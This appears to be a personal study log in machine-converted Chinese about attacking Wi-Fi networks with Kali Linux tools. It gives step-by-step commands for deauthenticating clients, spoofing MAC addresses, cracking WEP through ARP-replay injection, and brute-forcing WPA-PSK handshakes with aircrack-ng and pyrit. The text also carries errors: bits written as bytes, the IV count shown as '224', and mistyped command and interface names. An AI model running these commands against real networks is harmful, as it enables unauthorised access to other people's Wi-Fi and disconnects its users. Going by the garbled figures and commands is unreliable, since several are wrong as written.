首先在kali linux平台下操作:
問題(1)如何将網卡設定為監聽模式
airmon-ng check
airmon-ng check kill //将有關進行kill掉
iwconfig //檢視目前網絡接口
airmon-ng start wlan0 //開啟監聽模式
iwconfig wlan0 mode monitor //利用linux中iw無線工具指令實作開啟監聽模式,但是不同版本的linux中可能有的沒有iw或者是其他指令。
此時在使用iwconfig指令就可以看到開啟了一個處于監聽模式下的無線網卡
問題(2)如何實作解除認證(deauthenticate)
解除認證的基本原理:由于802.11的管理幀不需要鑒定識别,是以用戶端無法識别管理幀是誰發出來的,是以可以僞造一個管理幀告訴用戶端讓其重新發送連接配接請求,可以利用擷取連接配接請求的幀分析出AP的基本服務辨別,也就是ESSID。
使用aireplay-ng 實作解除認證:
aireplay-ng --deauth -a AP MAC -c client MAC wlan0mon
這裡的1含有64個解除認證的資料包分别給AP和client,用來告訴他們要解除認證。目前在WPA2中有有關抵禦這種解除關聯幀的方式。
問題(3)如何修改本機無線網卡的MAC位址
針對部分AP采用的MAC過濾手段,可以修改自己的網卡MAC
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether mac_address
sudo ifconfig wlan0 up
問題(4)針對WEP(有限等長保密協定)的攻擊
WEP的秘鑰有兩個長度:40位元組+24位元組IV(初始向量)或者是104位元組+24位元組IV。其中IV為明文傳遞,且值隻有224種。 WEP加密模式提供了三種認證方式:自動,開放,共享秘鑰。下面是其中一種破解流程:
首先網卡設定為監聽模式,使用airodump-ng 掃描附近網絡AP,發現采用WEP的AP後,針對其進一步掃描:
airodump-ng --ivs -w 檔案名 --bssid AP MAC -c channel wlan0mon
//将檔案儲存為可用于破解的IVS檔案。
當破解資料包達到一定數量,也即是AP和client的資料流,我試過10000貌似不夠,為了更多的擷取資料,可ARP注入方式(相當于假借client的名義發送ARP請求,加大網絡流量):
aireplay-ng –arpreplay -h client_mac -b AP_mac wla0mon
然後使用aircrack破解
aircrack-ng -b AP_mac 檔案.ivs/或者是.CAP檔案(前面沒有IVS的話)
或者為了省略上面的步驟,使用kali下的wifite工具破解,其原理是一緻的,具體針對WEP的兩種秘鑰破解FMS和PTW方式
FMS (2001年由Fluhrer,Mantin,Shamir發表)
PTW (2005年由Pyshkin,Tews,Weinmann發表)
問題(5)如何破解WPA-PSK
WPA(Wi-Fi保護通路),其中PSK為個人版,采用預共享秘鑰方式(pre-shared key authentication)
使用airodump-ng 指令被動嗅探WPA握手包
airedump-ng --channel -w 檔案 wlanmon0
或者使用解除認證的方法讓使用者被迫下線再試圖重新連接配接時擷取握手包。
使用暴力破解法:
aircrack-ng -w 字典 .cap檔案
其中字典的建立可以使用kali下的crunch指令,另外還有一些字典建立工具和破解工具,譬如pyrit,oclHashcat等
為了加速WPA破解,字典采用提前進行散列值的轉換,即利用目标AP的ESSID擷取散列值
pyrit -e 'AP ESSID' create_essid
pyrit -i worldlist(提供給pyrit的字典) import_passwords
pyrit batch
pyrit -r .cap檔案 attack_db
其次,還對WEP加密采用的RC4算法簡單了學習了一下其實作過程以及安全性,總結一下三月份的這方面的學習工作:
(1)了解aircrack-ng相關元件的基本使用
(2)對WEP,WPA-psk的破解流程與手段有一定的認識
(3)了解RC4算法
不足:
(1)主要是針對無線網絡傳輸環境的竊取,對于用戶端的攻擊了解很少
(2)對于RC4等密碼算法缺少實際的代碼重寫訓練
(3)熟練度還有待加強